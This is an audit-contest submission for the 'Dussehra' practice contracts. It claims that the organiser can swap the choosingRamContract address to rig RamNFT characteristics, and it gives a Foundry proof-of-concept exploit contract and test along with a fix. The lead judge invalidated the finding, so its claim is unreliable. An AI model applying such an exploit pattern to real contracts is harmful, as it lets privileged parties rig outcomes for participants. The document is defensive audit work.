First Flight #17: Dussehra
First Flight #17
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Invalid

Weak checks at the RamNFT contract allow the organiser to directly set the characteristics of any ramNFT.

7Cedars

[M-2] Weak checks at the RamNFT contract allow the organiser to directly set the characteristics of any ramNFT. This bypasses the ChoosingRam::increaseValuesOfParticipants function and allows the organiser to influence who will be selected as Ram. It breaks the intended functionality of the contract.

Description: This weakness unfolds in several steps.

  1. Weak checks at RamNFT:setChoosingRamContract allow the organiser to set choosingRamContract to any contract address. The organiser can do this at any time, also after the Dussehra protocol has been deployed.

  2. Resetting choosingRamContract allows the organiser to call RamNFT:updateCharacteristics through an alternative contract with an alternative functionality.

  3. This alternative contract can, for instance, take a tokenId as input and reset characteristics of a ramNFT.

  4. This can result in this tokenId being selected as Ram.

I did not log this as a high vulnerability because the selectRamIfNotSelected function will always reset selectedRam. See vulnerability [H-5] above.

function setChoosingRamContract(address _choosingRamContract) public onlyOrganiser {
choosingRamContract = _choosingRamContract;
}

Impact: By setting characteristics of a ramNFT to true, the protocol can be pushed to select a particular ramNFT as Ram.

Proof of Concept: As noted, this vulnerability unfolds in several steps:

  1. The organiser deploys Dussehra.sol, RamNFT.sol and ChoosingRam.sol as usual.

  2. The organiser sets choosingRamContract to address(ChoosingRam.sol) by calling setChoosingRamContract.

  3. Participants enter the protocol, including the organiser. So far everything is fine.

  4. The organiser then creates an alternative contract that calls selectedRamNFT.updateCharacteristics and can resets characteristics of a ramNFT.

  5. The organiser changes choosingRamContract to the address of the alternative contract.

  6. The organiser calls a function in the alternative contract and changes the characteristics of their ramNFT to true, true, true, true, false.

  7. The organiser changes choosingRamContract back to the address of ChoosingRam.sol.

  8. The organiser calls updateCharacteristics until the last characteristic is turned to true and, with it, their ramNFT is selected as Ram. As four out of five characteristics were set to true, the organiser's ramNFT is almost certainly to be selected as Ram.

Proof of Concept

Place the following in the Dussehra.t.sol test file, below the CounterTest contract.

contract OrganiserResetsRamNFTCharacteristics {
RamNFT selectedRamNFT;
​
constructor(RamNFT _ramNFT) {
selectedRamNFT = _ramNFT;
}
​
function resetCharacteristics (uint256 tokenId) public {
selectedRamNFT.updateCharacteristics(
tokenId, true, true, true, true, false
);
}
}

Place the following in the CounterTest contract of the Dussehra.t.sol test file.

function test_organiserResetsCharacteristics() public participants {
OrganiserResetsRamNFTCharacteristics resetsAddressesContract;
resetsAddressesContract = new OrganiserResetsRamNFTCharacteristics(ramNFT);
address selectedRam = choosingRam.selectedRam();
​
// the `participants` modifier enters player1 and player2 to the protocol.
assertEq(ramNFT.ownerOf(0), player1);
assertEq(ramNFT.ownerOf(1), player2);
​
// The organiser also enters as one of the participants, ending up with token id 2.
vm.startPrank(organiser);
vm.deal(organiser, 1 ether);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
assertEq(ramNFT.ownerOf(2), organiser);
​
// Then, the organiser changes the choosingRamContract to the malicious contract: resetsAddressesContract.
vm.startPrank(organiser);
ramNFT.setChoosingRamContract(address(resetsAddressesContract));
​
// The contract resetsAddressesContract has a function - as the name suggests - to reset characteristics of a selected tokenId.
// in this case token Id 2: the token Id owned by the organiser.
resetsAddressesContract.resetCharacteristics(2);
​
assertEq(ramNFT.getCharacteristics(2).isJitaKrodhah, true);
assertEq(ramNFT.getCharacteristics(2).isDhyutimaan, true);
assertEq(ramNFT.getCharacteristics(2).isVidvaan, true);
assertEq(ramNFT.getCharacteristics(2).isAatmavan, true);
assertEq(ramNFT.getCharacteristics(2).isSatyavaakyah, false);
​
// the organiser changes the choosingRamContract to back to the correct contract: choosingRam.
vm.startPrank(organiser);
ramNFT.setChoosingRamContract(address(choosingRam));
uint256 i;
while (selectedRam == address(0)) {
i++;
vm.warp(1728690000 + i);
choosingRam.increaseValuesOfParticipants(2, 1);
selectedRam = choosingRam.selectedRam();
}
vm.stopPrank();
// if we increaseValuesOfParticipants between tokenId 1 and 2, is is almost a certainty that tokenId 2 will be selected as Ram, as it started with a huge head start.
vm.assertEq(selectedRam, organiser);
}

Recommended Mitigation: Do not allow the choosingRamContract to be changed after initialisation.

+ ChoosingRam public immutable choosingRamContract;
- ChoosingRam public choosingRamContract;
​
+ constructor(address _choosingRamContract) ERC721("RamNFT", "RAM") {
- constructor() ERC721("RamNFT", "RAM") {
tokenCounter = 0;
organiser = msg.sender;
+ choosingRamContract = ChoosingRam(_choosingRamContract);
}
​
- function setChoosingRamContract(address _choosingRamContract) public onlyOrganiser {
- choosingRamContract = _choosingRamContract;
- }
Updates

Lead Judging Commences

bube Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.